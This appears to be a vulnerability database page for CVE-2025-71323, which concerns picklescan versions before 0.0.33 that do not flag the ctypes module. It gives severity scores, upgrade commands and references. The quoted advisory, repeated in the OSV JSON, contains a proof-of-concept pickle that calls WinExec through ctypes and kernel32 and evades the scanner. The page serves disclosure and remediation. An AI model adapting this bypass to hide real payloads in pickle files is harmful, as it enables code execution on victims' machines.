CVE-2025-71323: Picklescan Picklescan Does Not Block Ctypes Vulnerability

Q: What is CVE-2025-71323?

CVE-2025-71323 is a security vulnerability in Picklescan involving Picklescan does not block ctypes under CWE-913: Improper Control of Dynamically-Managed Code Resources.

Q: Which Picklescan versions are affected?

Affected versions include releases prior to 0.0.33 across affected packages: picklescan.

Q: What version fixes CVE-2025-71323?

Upgrading to 0.0.33 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is picklescan affected?

Yes, picklescan is affected in releases prior to 0.0.33. Upgrade your dependency to 0.0.33 or later.

Q: What is the CVSS score of CVE-2025-71323?

CVE-2025-71323 has a CVSS v3.1 base score of 9.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

Q: What CWE is associated with CVE-2025-71323?

CVE-2025-71323 is classified under CWE-913: Improper Control of Dynamically-Managed Code Resources (The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.).

Q: How can I check PyPI dependencies for CVE-2025-71323?

Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

HIGH

Advisory Identifier: GHSA-4675-36f9-wf6r

CVSS 9.8

CWE-913 CWE-184

Published 2025-12-29

Advisory Summary

CVE-2025-71323 is a HIGH (CVSS 9.8) picklescan does not block ctypes vulnerability (CWE-913: Improper Control of Dynamically-Managed Code Resources) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan does not block ctypes. Remediation is available by upgrading affected packages to version 0.0.33.

CVE-2025-71323 at a Glance

CVE Identifier CVE-2025-71323

GHSA Identifier GHSA-4675-36f9-wf6r

Severity HIGH

CVSS v3.1 Base Score 9.8

CWE Classification CWE-913: Improper Control of Dynamically-Managed Code Resources

Affected Product Picklescan

Package Ecosystem PyPI

Published Date 2025-12-29

Last Updated 2026-06-18

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)

Attack Complexity Low (AC:L)

Privileges Required None (PR:N)

User Interaction None (UI:N)

Scope Unchanged (S:U)

Confidentiality High (C:H)

Integrity High (I:H)

Availability High (A:H)

How to Fix CVE-2025-71323

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 0.0.33

pip install picklescan>=0.0.33

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-71323, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.33), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-913: Improper Control of Dynamically-Managed Code Resources, where the product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers. This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory. This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected ### PoC ```python import pickle import ctypes import operator class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",)) class WinExecGetter: def __reduce__(self): return (operator.itemgetter("WinExec"), (Kernel32Loader(),)) class PopCalc: def __reduce__(self): #methodcaller to invoke "__call__" on the function pointer. return ( operator.methodcaller("__call__", b"calc.exe", 1), (WinExecGetter(),) ) try: payload = pickle.dumps(PopCalc()) with open("calc_exploit.pkl", "wb") as f: f.write(payload) print("Generated 'calc_exploit.pkl'") except Exception as e: print(f"Generation failed: {e}") ``` This will create a pickle file which is not detected by the latest version of picklescan as malicious ```python import pickle print("Loading bypass.pkl...") pickle.load(open("calc_exploit.pkl", "rb")) ``` <img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />

CVE-2025-71323 Affected Picklescan Versions

1 component(s)

Fixed Versions:

0.0.33

Product / Package	Ecosystem	Affected Versions	Fixed Version
picklescan pypi/picklescan	PyPI	< 0.0.33	0.0.33

References

GitHub Advisory / Wiki ADVISORY

https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r

NVD — CVE-2025-71323 NVD

https://nvd.nist.gov/vuln/detail/CVE-2025-71323

Picklescan Source Repository REPOSITORY

https://github.com/mmaitre314/picklescan/pull/53

Security Fix Commit FIX COMMIT

https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab

Picklescan Source Repository REPOSITORY

https://github.com/mmaitre314/picklescan

Picklescan Release RELEASE

https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33

www.vulncheck.com/advisories/picklesc... WEB

https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module

Frequently Asked Questions

What is CVE-2025-71323?

CVE-2025-71323 is a security vulnerability in Picklescan involving Picklescan does not block ctypes under CWE-913: Improper Control of Dynamically-Managed Code Resources.

Which Picklescan versions are affected?

Affected versions include releases prior to 0.0.33 across affected packages: picklescan.

What version fixes CVE-2025-71323?

Upgrading to 0.0.33 (or the latest patched release for your respective branch) resolves the vulnerability.

Is picklescan affected?

Yes, picklescan is affected in releases prior to 0.0.33. Upgrade your dependency to 0.0.33 or later.

What is the CVSS score of CVE-2025-71323?

CVE-2025-71323 has a CVSS v3.1 base score of 9.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

What CWE is associated with CVE-2025-71323?

CVE-2025-71323 is classified under CWE-913: Improper Control of Dynamically-Managed Code Resources (The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.).

How can I check PyPI dependencies for CVE-2025-71323?

Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4675-36f9-wf6r",
  "modified" : "2026-06-18T14:44:57Z",
  "published" : "2025-12-29T15:23:49Z",
  "aliases" : [ "CVE-2025-71323" ],
  "summary" : "Picklescan does not block ctypes",
  "details" : "### Summary\nPicklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to\n* Load DLLs\n* Call C functions directly\n* Manipulate memory raw pointers.\n\nThis can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.\n\nThis is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected\n\n### PoC\n```python\nimport pickle\nimport ctypes\nimport operator\n\nclass Kernel32Loader:\n    def __reduce__(self):\n        #we go direct to the kerneeellllllll\n        return (ctypes.WinDLL, (\"kernel32.dll\",))\n\nclass WinExecGetter:\n    def __reduce__(self):\n        return (operator.itemgetter(\"WinExec\"), (Kernel32Loader(),))\n\nclass PopCalc:\n    def __reduce__(self):\n        #methodcaller to invoke \"__call__\" on the function pointer.\n        return (\n            operator.methodcaller(\"__call__\", b\"calc.exe\", 1), \n            (WinExecGetter(),)\n        )\n\ntry:\n    payload = pickle.dumps(PopCalc())\n    \n    with open(\"calc_exploit.pkl\", \"wb\") as f:\n        f.write(payload)\n        \n    print(\"Generated 'calc_exploit.pkl'\")\n\nexcept Exception as e:\n    print(f\"Generation failed: {e}\")\n```\nThis will create a pickle file which is not detected by the latest version of picklescan as malicious\n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"calc_exploit.pkl\", \"rb\"))\n```\n\n<img width=\"1333\" height=\"677\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.33"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-71323"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/pull/53"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-913" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-29T15:23:49Z",
    "nvd_published_at" : null
  }
}

CVSS V3

9.8 HIGH